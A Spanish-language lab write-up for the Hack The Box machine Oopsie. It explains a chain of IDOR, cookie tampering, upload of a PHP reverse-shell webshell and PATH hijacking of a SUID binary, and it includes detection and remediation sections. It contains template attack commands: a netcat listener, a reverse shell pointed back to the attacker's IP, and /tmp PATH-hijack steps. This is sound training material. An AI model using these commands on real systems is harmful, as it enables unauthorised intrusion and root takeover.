

HTB Oopsie — Tier 2

Cadena de explotación: IDOR → Cookie Tampering → Unrestricted Upload → PATH Hijacking

Oopsie es otra máquina de cadena, como Vaccine, pero con una familia de fallos distinta: en vez de credenciales débiles y una inyección SQL, acá el problema central es **confiar en el cliente para decisiones de autorización**. Cada eslabón de esta cadena — desde el control de acceso roto hasta el hijacking de PATH en el binario SUID — es una variación del mismo error de fondo: el servidor delega en algo que el atacante controla (una cookie, una ruta de archivo, una variable de entorno) una decisión que debería validar él mismo.

1. Contexto de la Máquina

Campo	Detalle
Tier / Fase	Tier 2 — Starting Point
OS	Linux (Ubuntu)
Dificultad	Easy
Servicios expuestos	SSH y HTTP — el vector real está en la lógica de la aplicación web, no en la superficie de red
Técnicas clave	Descubrimiento de rutas ocultas · IDOR (enumeración de recursos por ID) · manipulación de cookies de sesión · unrestricted file upload → webshell → reverse shell · PATH hijacking sobre binario SUID
Herramientas	Burp Suite (proxy/spider), navegador + DevTools, gobuster, netcat, webshell PHP genérico

■ Este documento describe el **tipo** de vulnerabilidad y la metodología general de cada técnica — no valores específicos de tu instancia (IP, rutas exactas, IDs, nombres de binarios, contraseñas). Enumera cada paso vos mismo; si te atascás en uno puntual, ahí recurrís al writeup externo que ya tenés, no antes.

2. Fundamentos — Cada Eslabón de la Cadena

2.1 Descubrimiento de contenido oculto vía proxy pasivo

Antes de fuzzear directorios a ciegas, un proxy interceptor (Burp Suite, u OWASP ZAP como alternativa) puede armar un mapa del sitio de forma **pasiva**: mientras navegás normalmente con el proxy activo, cada request/response que pasa por él queda registrado, incluyendo llamadas a JS, CSS, imágenes y endpoints que un navegador normal no te muestra en pantalla pero sí carga en segundo plano. Es reconocimiento gratis a partir de tráfico que ya ibas a generar de todas formas.

```
# Configurar el navegador para usar el proxy de Burp
# HTTP Proxy: 127.0.0.1 Puerto: 8080 (o el que tenga Burp por defecto)
# Con 'Intercept' DESACTIVADO en Burp (spidering pasivo, sin bloquear requests)
# Navegar la app normalmente, luego revisar:
# Burp → Target → Site map
```

■ Un mapa de sitio con rutas tipo /admin, /api, /cdn-cgi, /login-panel que no aparecen enlazadas en el HTML visible es la primera señal de "seguridad por oscuridad": la app asume que si el link no está en el menú, nadie lo va a encontrar. gobuster/ffuf hacen lo mismo de forma activa (probando wordlists) cuando el spidering pasivo no alcanza.

2.2 Broken Access Control e IDOR (Insecure Direct Object Reference)

IDOR es la categoría de OWASP Top 10 (A01:2021 — Broken Access Control) donde una aplicación expone una referencia directa a un recurso interno — casi siempre un ID numérico secuencial en la URL o en un parámetro — y el servidor entrega ese recurso **sin verificar si el usuario autenticado tiene permiso real sobre él**. El fallo no está en que el ID sea visible; está en que cambiarlo no dispara ninguna validación de autorización del lado del servidor.

```
# Patrón genérico a probar en cualquier endpoint que reciba un identificador:
GET /panel/recurso?id=2 → tu propio recurso
GET /panel/recurso?id=1 → ¿te devuelve el recurso de otro usuario?
# Si la respuesta cambia de contenido sin cambiar de permisos (ej. seguís
# logueado como usuario de bajo privilegio pero ves datos de otro ID),
# es IDOR — y si ese otro registro filtra un identificador de cuenta
# privilegiada (ej. un ID de admin), es una escalación en dos pasos.
```

■ IDOR frecuentemente no es "el" exploit — es el paso que te da el dato que necesitás para el siguiente eslabón (en este caso, un identificador que vas a necesitar en el paso 2.3). Enumerar IDs consecutivos (0, 1, 2, 3...) cuando encontrás uno es un reflejo que conviene automatizar mentalmente cada vez que veas un parámetro numérico en una URL autenticada.

2.3 Manipulación de cookies y control de acceso basado en el cliente

Una cookie de sesión debería ser un token opaco que el servidor valida contra su propio estado (una sesión en base de datos, un JWT firmado, etc.). El fallo que hace explotable esto es cuando la aplicación guarda **atributos de autorización en texto plano y editable en el cliente** — por ejemplo, un campo de rol o un identificador de usuario dentro de la cookie, que el servidor confía sin volver a validar contra su propia base de datos en cada request.

```
# Firefox: click derecho → Inspeccionar → pestaña Storage/Almacenamiento
# → Cookies → seleccionar el dominio
# Chrome: DevTools (F12) → Application → Storage → Cookies
# Buscar pares clave=valor que parezcan de autorización, no solo de
# identificación de sesión: role=, is_admin=, user=, level=, etc.
# Editar el valor directamente en el panel y refrescar la página.
```

■ Conexión directa con IDOR (2.2): si la cookie guarda un identificador de usuario editable, el ID de cuenta privilegiada que filtraste por IDOR en el paso anterior es exactamente el valor que probás acá. Esto es la cadena real: un fallo de acceso (IDOR) entrega el dato que hace explotable el segundo fallo de acceso (cookie sin validar server-side).

■ Que el servidor confíe en un atributo de rol dentro de una cookie sin firmar/cifrar es un fallo de diseño, no una "casualidad" de esta máquina — es el mismo problema de fondo que rompe JWTs con alg:none mal validado, o sesiones PHP donde \$_SESSION se pobla directo desde una cookie sin re-chequear contra la base. El patrón a buscar siempre: ¿qué pasa si cambio este valor y el servidor no lo vuelve a verificar?

2.4 Unrestricted File Upload → Remote Code Execution

Un formulario de subida de archivos (imágenes de perfil, logos, adjuntos) es peligroso cuando el servidor valida el tipo de archivo del lado del cliente o de forma insuficiente del lado del servidor (por extensión sin revisar el contenido real, o sin revisar en absoluto), y además el directorio de destino permite **ejecución** de scripts subidos. Subir un archivo .php con código de webshell y luego solicitarlo por HTTP hace que el servidor lo ejecute como si fuera parte de la aplicación.

```
# Parrot/Kali suelen traer webshells listas en:
/usr/share/webshells/php/php-reverse-shell.php
# Antes de subir, editar SIEMPRE estas dos líneas con tu propia IP/puerto:
$ip = '{tu_IP_tun0}'; // NUNCA la IP de la víctima
$port = {puerto_listener};
# Preparar el listener ANTES de subir y solicitar el archivo:
nc -lvnp {puerto_listener}
# Tras subir, localizar dónde quedó guardado (gobuster o inspección del
# formulario/respuesta) y solicitarlo por navegador o curl para disparar
```

```
# la ejecución:
curl http://{target_IP}/<ruta_uploads>/<archivo_subido>.php
```

■ Igual que en Vaccine: la IP del payload es SIEMPRE tu interfaz VPN (tun0), nunca la IP de la víctima. Verificalo con **ip a** antes de editar el script, no después de que falle la conexión.

■ Si el directorio de uploads devuelve 403 Forbidden al listarlo mano a mano, no significa que el archivo no esté ahí ni que no se pueda ejecutar — significa que el listado de directorio está deshabilitado. Gobuster con extensión .php, o simplemente adivinar la ruta más obvia (uploads/, files/, media/), suele confirmar la ubicación real.

2.5 Estabilización de shell (recordatorio)

Mismo patrón ya interiorizado en máquinas anteriores — el shell que entrega un webshell PHP es no interactivo por defecto.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z, luego en tu terminal local:
stty raw -echo; fg
```

2.6 Búsqueda de credenciales en el código fuente de la aplicación

Con shell de bajo privilegio dentro del directorio web, el siguiente paso estándar es revisar el código fuente PHP en busca de credenciales hardcodeadas — de conexión a base de datos, o de lógica de autenticación con usuario/contraseña escritos directo en el archivo.

```
grep -ri 'passw' /var/www/html -r 2>/dev/null
grep -ri 'mysqli_connect\|new PDO\|pg_connect' /var/www/html -r 2>/dev/null
```

■ Password reuse entre la cuenta de aplicación y una cuenta real del sistema operativo es un patrón que ya viste en Crocodile y en Vaccine. Antes de asumir que una contraseña encontrada en código es solo para la base de datos, probála también contra cualquier usuario del sistema que identifiques en /etc/passwd.

2.7 PATH Hijacking sobre binario SUID

Un binario con el bit SUID activo (permiso **s** en el campo de usuario, visible con **ls -l**) se ejecuta siempre con los privilegios de su dueño — si el dueño es root, corre como root sin importar qué usuario lo invoque. Esto es legítimo y necesario para ciertos binarios del sistema (passwd, sudo). El problema aparece cuando ese binario, en su código, invoca **otro** comando del sistema (cat, ls, cp, etc.) **sin especificar la ruta absoluta** — confía en que el shell lo va a resolver buscando en el \$PATH del usuario que lo ejecuta.

```
# 1. Encontrar binarios SUID accesibles para tu usuario/grupo
find / -perm -4000 2>/dev/null
# o, si ya identificaste un grupo específico al que pertenecés:
find / -group <nombre_grupo> 2>/dev/null
# 2. Confirmar el bit SUID y el dueño
ls -la <ruta_binario> && file <ruta_binario>
# 3. Ejecutarlo primero para observar su comportamiento y ver si invoca
#   algún comando externo sin ruta completa (aparece en mensajes de
#   error del tipo '<comando>: No such file or directory' cuando el
#   binario busca un archivo que no existe pero SÍ delega en otro binario)
```

Si se confirma que el binario invoca un comando sin ruta absoluta, el hijack consiste en anteponer un directorio propio (escribible) al PATH, y colocar ahí un archivo ejecutable con el mismo nombre que el comando invocado — apuntando a una shell.

```
# 4. Crear el binario falso en un directorio escribible
cd /tmp
echo '/bin/sh' > <nombre_del_comando_invocado>
chmod +x <nombre_del_comando_invocado>
# 5. Anteponer /tmp al PATH — el orden importa: /tmp debe ir PRIMERO
export PATH=/tmp:$PATH
echo $PATH # confirmar que /tmp aparece antes que /usr/bin, /bin, etc.
# 6. Ejecutar el binario SUID de nuevo — ahora resuelve el comando
```

```
#    interno contra tu binario falso en /tmp, heredando el SUID
<ruta_binario_suid>
```

■ ■ Esto NO es GTFOBins (Vaccine): ahí abusabas una regla de **sudo** sobre un binario legítimo bien resuelto. Acá el problema es un binario SUID mal programado que resuelve OTRO comando de forma ambigua. Son dos clases de privesc distintas que comparten el resultado (shell como root) pero requieren diagnóstico distinto — no asumas GTFOBins primero si lo que tenés es un SUID custom, no una entrada de sudoers.

3. Checklist de Metodología para Esta Máquina

- Nmap completo (-p- -sC -sV) — confirmar servicios expuestos, sin asumir que 'solo hay web'
- Navegar el sitio con Burp/ZAP como proxy pasivo ANTES de fuzzear a ciegas — revisar el Site map por rutas no enlazadas
- Si hay opción de login como invitado/guest o sin credenciales: usarla, y mapear qué funcionalidades quedan restringidas por rol
- Ante cualquier parámetro con un ID visible en la URL: probar valores adyacentes (IDOR) antes de descartar el endpoint
- Inspeccionar cookies de sesión en DevTools — buscar campos de rol/permiso en texto plano, no solo el token de sesión
- Si un campo de cookie parece de autorización: editarlo con datos obtenidos de un IDOR previo, no valores random
- En formularios de upload: probar extensión ejecutable del stack detectado (.php, .aspx, etc.) antes de asumir que está bloqueado
- Confirmar la IP de tu listener (ip a → tun0) ANTES de editar cualquier payload de reverse shell
- Con shell inicial: estabilizar con pty.spawn antes de seguir enumerando
- Revisar código fuente de la app (grep por 'passw', strings de conexión a DB) antes de correr un script de privesc automatizado
- sudo -l primero, como siempre — pero si no hay nada ahí, buscar binarios SUID con find / -perm -4000 antes de descartar privesc por sudo
- Si un binario SUID falla buscando un archivo: leer el mensaje de error completo, puede revelar que invoca otro comando sin ruta absoluta

4. MITRE ATT&CK — Mapeo de la Cadena

Táctica	Técnica	ID	Dónde aplica
Reconnaissance	Active Scanning: Vulnerability Scanning	T1595.002	Spidering pasivo con Burp/ZAP, descubrimiento de rutas no enlazadas
Initial Access / Credential Access	Exploitation for Privilege Escalation	T1068	IDOR — enumeración de un recurso restringido cambiando un identificador en la URL
Defense Evasion / Privilege Escalation	Access Token Manipulation	T1134	Edición de atributos de rol en la cookie de sesión sin re-validación server-side
Initial Access	Exploit Public-Facing Application	T1190	Subida de webshell vía formulario de upload sin validación real de tipo de archivo
Execution	Command and Scripting Interpreter: Unix Shell	T1059.004	Reverse shell vía webshell PHP, estabilización con pty.spawn
Privilege Escalation	Hijack Execution Flow: Path Interception by PATH Environment Variable	T1574.007	Binario SUID que resuelve un comando interno sin ruta absoluta, secuestrado vía \$PATH

5. Blue Team — ¿Qué se Detecta en Cada Eslabón?

- Spidering con Burp/ZAP: tráfico normal de navegación es difícil de distinguir de reconocimiento pasivo — la señal real aparece recién si el atacante pasa a fuzzing activo (gobuster/ffuf), con volumen de requests 404 muy por encima de lo normal en poco tiempo
- IDOR: requests secuenciales a un mismo endpoint cambiando solo el parámetro de ID (?id=1, ?id=2, ?id=3...) desde una sesión de bajo privilegio es un patrón de enumeración detectable por rate-limiting o por reglas de WAF que correlacionen usuario autenticado vs. recurso solicitado
- Cookie tampering: un cambio de valor de cookie que no vino de un Set-Cookie emitido por el servidor es invisible a nivel de red (ocurre en el cliente) — la única forma de detectarlo es server-side, comparando el rol reclamado en la cookie contra el rol real almacenado en la sesión del backend en cada request
- Unrestricted upload: un archivo con extensión ejecutable (.php) en un endpoint de 'subida de imágenes' es una firma clara para cualquier WAF o revisión de logs de upload — el Content-Type declarado por el cliente NUNCA debería ser la única validación
- Ejecución de webshell: un request GET/POST a un archivo recién subido en un directorio de uploads, seguido de una conexión saliente del servidor web hacia un puerto no estándar, es exactamente el patrón que un EDR o egress filtering debería bloquear
- PATH hijacking en SUID: ejecución de un binario SUID que a su vez genera un proceso hijo tipo /bin/sh con el mismo UID elevado, apenas segundos después de una modificación de la variable PATH en la misma sesión — cadena de proceso (parent/child) + cambio de entorno, detectable por EDR con monitoreo de ejecución

6. Remediación por Eslabón

- No depender de 'seguridad por oscuridad' — cualquier ruta no enlazada sigue siendo alcanzable si no tiene control de acceso real detrás
- Validar autorización del lado del servidor en CADA request a un recurso identificado por ID — nunca asumir que un ID no adivinable es suficiente control de acceso (eso es IDOR por diseño)
- Nunca almacenar atributos de autorización (rol, nivel, flags de admin) en una cookie sin firmar/cifrar del lado del cliente — el servidor debe re-validar el rol real contra su propio almacenamiento de sesión en cada request
- Validar tipo de archivo subido por contenido real (magic bytes / MIME sniffing server-side), no por extensión ni por Content-Type declarado por el cliente — y servir uploads desde un directorio sin permiso de ejecución de scripts
- Egress filtering en el servidor web — no debería poder iniciar conexiones salientes arbitrarias
- Auditar binarios con bit SUID en el sistema: cualquier binario custom (no del paquete base del OS) con SUID activo debe revisarse por invocación de comandos externos sin ruta absoluta antes de desplegarse
- Cuando un binario SUID deba invocar otros programas, hacerlo siempre con ruta absoluta y, si es posible, limpiando explícitamente la variable PATH al inicio de su propia ejecución

7. Cheatsheet — Comandos Plantilla

```
# 1. Enumeración
nmap -sC -sV -p- {target_IP} -oN nmap.txt

# 2. Descubrimiento activo de rutas (complemento al spidering pasivo de Burp)
gobuster dir --url http://{target_IP}/ --wordlist
    /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

# 3. IDOR – probar IDs adyacentes en cualquier endpoint autenticado
http://{target_IP}/<ruta>?id=1
http://{target_IP}/<ruta>?id=2

# 4. Cookie tampering – DevTools del navegador, pestaña Storage/Application
#     editar manualmente los pares clave=valor relacionados a rol/usuario

# 5. Upload de webshell + listener
```

```
nc -lvnp {puerto_listener}
# Editar $ip y $port en /usr/share/webshells/php/php-reverse-shell.php
# antes de subirlo, luego solicitarlo por HTTP para disparar la ejecución
# 6. Estabilización
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# 7. Privesc — SUID + PATH hijack
find / -perm -4000 2>/dev/null
echo '/bin/sh' > /tmp/<comando_hijackeado> && chmod +x /tmp/<comando_hijackeado>
export PATH=/tmp:$PATH
<ruta_binario_suid>
```

8. Conexión con CPTS y Proyecto Cóndor

Oopsie refuerza el mismo modelo mental que Vaccine — cadena de fallos menores, no un único exploit — pero con una familia de vulnerabilidades centrada en **control de acceso**, que en pentests reales aparece con muchísima más frecuencia que las inyecciones SQL clásicas.

- **CPTS Exam:** Broken Access Control (IDOR + cookie tampering) es de los hallazgos más comunes en evaluaciones web reales — la habilidad que se examina es el reflejo de probar autorización en cada endpoint con ID, no solo autenticación
- **PATH hijacking como categoría propia:** es fácil confundirlo con GTF0Bins porque el resultado final es el mismo (shell como root), pero el diagnóstico es distinto — vale la pena tener ambos checklists separados en la cabeza de aquí en adelante
- **Proyecto Cóndor:** en un informe real, IDOR y cookie tampering se reportan casi siempre juntos bajo 'Broken Access Control' (severidad Alta si expone datos/funciones de otros usuarios, Crítica si permite escalar a rol admin) — es una de las categorías OWASP que un cliente chileno/latam va a entender rápido sin necesitar explicación técnica extensa